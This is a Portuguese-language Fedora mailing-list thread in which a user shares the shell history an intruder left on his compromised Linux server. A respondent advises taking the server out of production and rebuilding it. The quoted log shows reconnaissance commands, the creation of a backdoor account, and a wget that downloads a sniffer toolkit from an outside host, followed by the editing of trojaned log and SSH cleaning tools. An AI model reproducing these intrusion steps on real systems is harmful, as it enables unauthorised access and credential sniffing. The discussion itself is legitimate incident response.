Olha! Da uma olhada no livro BS7799 Da Tatica a aplicacao em Servidores Linux... Procura na siciliano... bem interessante para questao de seguranca...
Rau,
A Monday 26 March 2007 15:39:25, Alexandre Singulani escreveu:
> o arquivo ta aqui sim, ele não apagou..... mas pelo jeito ele não conseguiu
> fazer muita coisa, assim espero....
> abaixo os comandos que ele executou
>
> w
> uname -a
> cat /proc/cpuinfo
> ps x
> ps aux
> history
> group
> groups
> adduser
> adduser baxter
> passwd baxter
> wget apocalipsa.org/.apocalipsa/sniff.tar
> tar xvf sniff.tar
> cd sniff
> l
> l
> ls
> cd snif
> ls
> cat klogd1
> ls
> pico klogd1
> nano klogd1
> nano clean
> nano cleanssh
> nano dnsquery
> nano dnsquery
> nano dsniff.services
> nano inst
> nano klogd1
> nano libdb.so.3
> nano popauth
> nano zum
> nano named.sn
Bem, seu servidor foi comprometido e a pessoa que fez isso não é lá muito
inteligente! (burrinho...)
Na duvida, eu tiraria ele de produção só por garantia e montaria um outro.
--
Att,
André Felício
http://www.felicio.com.br
Hmm... Which would do a better job at driving physicists crazy? Travel faster
than light, or a floating-point boolean value? -- Michael Mol
--
Fedora-users-br mailing list
Fedora-users-br@redhat.com
https://www.redhat.com/mailman/listinfo/fedora-users-br